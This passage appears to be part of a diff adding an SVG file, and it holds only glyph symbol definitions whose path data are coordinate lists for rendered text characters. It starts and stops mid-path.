-12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 